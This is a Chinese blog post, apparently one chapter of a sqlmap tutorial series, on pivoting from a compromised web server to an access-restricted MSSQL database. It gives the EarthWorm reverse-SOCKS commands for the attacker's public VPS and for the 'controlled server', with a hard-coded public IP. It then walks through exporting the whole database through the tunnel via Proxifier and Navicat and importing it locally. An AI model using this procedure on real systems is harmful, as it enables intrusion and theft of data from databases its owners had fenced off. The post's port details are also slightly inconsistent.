sqlmap使用_sqlmap从入门到精通第四章47使用EW代理导出和导入MSSQL数据

4.7 使用EW代理导出和导入MSSQL数据

一般的场景就是目标站点获取了webshell,然后数据库的IP地址不在目标站的本地,而且做了精准的访问控制,只允许目标站点的IP地址才能访问数据库,那么这个场景就适合通过代理的方式导出和导入了

4.7.1 设置代理

1. 在独立的公网IP执行命令

命令如下:

ew -s rcsocks -l 1080 -e 3389

0474dea64bf9f9272ab5fe3a0c2e5518.png

上面的3389端口是独立公网IP地址监听的端口,1080是代理端口

2. 在被控制服务器上执行命令

命令如下:

ew -s rssocks -d 120.78.194.70 -e 3389

c615a4932a3f81765dc4bf7e5d99ea08.png

上面是使用独立的公网IP地址连接8888端口

3. 设置Proxifier

此处记得使用socks5即可,配置的IP就是公网的IP地址加代理端口1080,由于我这里是直接在vps上直接使用的,所以我配置的是vps的内网IP地址,大家在实际环境中,如果是在本地PC那么就可以使用公网IP地址加代理端口即可

884cf886729a691baa7da28cac232051.png

5d8b4151185f38725eeefdbf8fe552dc.png

4. 测试代理

4.7.2 设置Navicat for Sql Server

1. 设置Navicat for Sql Server连接

9c95c7a6a0aab1cbb1512ef7955f2c07.png

正常设置连接即可

2. 连接测试

4.7.3 导出数据库

1. 选择和设置数据库导出

2. 去除删除数据库表选项

3. 导出数据

912726579ccd55dd3c4e19919fbe1b42.png

4.7.4 导入SQL Server数据库

(1) 在本地SQL Server数据库中创建对应的数据库名称

(2) 设置相同的用户,此处设置导出的是数据对应的用户名和密码,以及与导出的SQL文件对应的用户和权限,防止出现权限不一致而导致导入数据失败的情况

(3) 设置用户的对应权限,在SQL Server中对用户设置可以访问数据库及数据库角色权限

(4) 设置Navicat for SQL Server 连接,使用同样的方法在本地建立数据库连接

(5) 连接数据库服务器,打开需要导入的数据库到dbo处,选择运行SQL文件,选中导出SQL文件,开始导入数据

(6) 数据导入成功后,刷新数据库即可在本地使用

作者已经把本小节发布到公网上了,下面是地址链接:

http://www.mamicode.com/info-detail-2420471.html 

Tips:大家不好意思,前几篇文章标题都有所遗漏,大家看内容就应该清楚

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值